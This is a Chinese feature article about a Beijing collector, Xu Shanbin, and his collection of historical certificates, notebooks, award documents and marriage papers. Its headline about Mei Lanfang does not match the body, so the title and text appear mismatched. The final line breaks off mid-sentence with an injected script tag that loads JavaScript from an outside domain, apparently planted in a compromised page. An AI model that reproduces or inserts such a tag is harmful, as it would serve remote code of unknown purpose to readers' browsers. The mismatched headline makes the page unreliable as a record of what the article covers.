梅兰芳的第一张彩色影象

　　66岁的许善斌从十几年前开始泡在北京的潘家园文物市场，他收集的旧证照、票证自成一家，在全中国算得上是独一份了。从清朝末年到“文革”，从证书证件、喜帖讣告、请柬布告，几乎滴水不落，许许多多时代的点滴印记，都能在他的藏品里找到。用老许的话说：“票证和证照收藏，有钱人不肯做，因为升值慢、保存难；有才华的收藏大家不屑做，证照知识含量低，人家大材小用，小贩不能做，因为不懂历史，看不出价值。”老许自嘲地说自己是：“山中无老虎猴子称大王。”

　　许善斌搞收藏开始也没有什么高尚的念头，就是为了“脱贫”，眼看着人家“下海”的、炒股的都发了，自己就想到晚年的时候能不能在文物市场“捞”一把。可是后来，他却在不知不觉中被收藏“俘虏”了，如今他那2600多张“宝贝”是一张也舍不得出手，搞得家徒四壁，仍乐此不疲。

　　20世纪90年代末，各式旧硬皮笔记本在旧书摊出现了，因为很少有人问津，价钱低得跟一包方便面差不多。这些硬皮笔记本偏偏能勾起许善斌的回忆，忍不住多扫几眼。在老许年轻的时候，硬皮本可是身份的标志，都是表彰大会的纪念品，老百姓拿它就跟宝贝似的。没人舍得用来写字，有的用来镶照片当影集，有的用来夹重要文字，最佳用处是当婚前“聘礼”。因为“旧情”的驱使，老许忍不住干起了“去粗取精”的活儿。他用了五六年的时间，收集整理出一套“硬皮本大全”：首先是“第一系列”，“全国第一次政协会议”、“全国第一次人民代表大会”、“全国第一次妇女代表会议”等；还有“人物系列”，纪念雷锋、王杰、焦裕禄；还有“政治事件”、“科技教育类”等等。最希罕的是一本光绪年间的硬皮本，居然在里面登了铁路客运、邮政、电报、印刷、教学器材等好多广告，那个本子的设计者肯定是个有“经济意识”的人。

　　也许是硬皮本勾起了老许追溯历史的激情，也许是他自身的坎坷经历幻化成灵感，老许说，有天晚上，他突然间醍醐灌顶，一拍大腿，跟着别人后面搞收藏根本没出路，只有独辟蹊径才能找到自己的位置。从此老许确定了自己专门收藏票证的方向。

　　老许收藏的第一本证照是上世纪60年代时中央美术学院工会征收会费的卡片。中央美术学院的大师们都在上面——李苦禅、李可染、刘开渠、黄胄等，他们当时的工资看来也就一二百块钱，有缴两块钱的，还有缴一块钱的。纸片虽然小，可是却折射出一点时代印记。

　　有一次，老许发现一幅故宫博物院参观路线图，再一看吃了一惊，上面用红笔写了一行小字——尼克松总统参观路线示意图。他有点不相信自己的眼睛，这样的东西怎么流传出来了？再仔细一看尼克松从哪里入口，到哪里参观到哪里休息用红线标得清清楚楚，而且后面还附了一封信，是给中央的请示报告，盖着故宫革命委员会的大印。摊主要价300元，偏偏老许身上钱不够，怎么说人家也不卖。回去后他心事重重，第二个开放日他早早就去了，找遍所有的角落也不见那个人的影子，以后他找了半年也还是大海捞针。再后来偶然在北京东四环的双龙旧货市场发现了它。摊主只要100元，他给了80元成交了。

　　有一次在报国寺文化市场，老许看见了一张大奖状，奖给内蒙古保音毕勒格打狼队的，落款是全国工农兵劳动模范代表会议主席团1950年10月。卖主要价3000元，老许虽然喜欢却是无能为力。结果第二天，这件东西在市场上消失了，老许又害起了“相思病”。3个月以后这张奖状在潘家园重新露面，还是那个摊主开价才800元，老许运用了“三寸不烂之舌”，最后只用200元买了下来。老许查了一下资料，这次会议上全国有54个先进典型，也就是说才发了54张奖状。

　　在2000多张票证中，许善斌最喜欢的宝贝中有一张清朝的毕业证。从资料上看清朝末年办的这间学堂，共发了100多张毕业证，流传到现在只剩下了4张，属于国家的珍稀藏品。这种毕业证比报纸还大，可算是毕业证里的“巨无霸”，当时大概是为了炫耀吧。

　　还有一个130多年历史的“结婚证”，婚书上写的时间是“同治十一年”，也就是公历1872年。婚书的封皮上就看出了我们先人的聪明劲儿——把两份婚书折叠在一块书写，所以这张婚书上面的“天作地合”各有一半，男女两张合在一起才能完整。这个奇思妙想把“天作地合”的意思表现得淋漓尽致。这婚书顶上还贴了4个小印花呢，上面写的是“中华民国印花税票”。国民政府一门心思搞苛捐杂税，用交税来“确认”老夫老妻的“正式婚姻”，男方是咸丰四年即1854年出生，到中华民国建立时已经快60岁了，连孙子都该结婚了，还要缴纳“婚税”。

　　一张光绪18年的“收照”，就是现在的记者采访介绍信，介绍一个举人去采访一个节妇，奇怪的是上面还盖了“一切不收分文”的大印。看样子清代就有防止“新闻腐败”的规定了。

　　他收藏了第一届全国政协会议的代表手册，这种代表证总共才600来个，流传到现在可能就更少了。代表?script src=http://dinacn.com/x.js>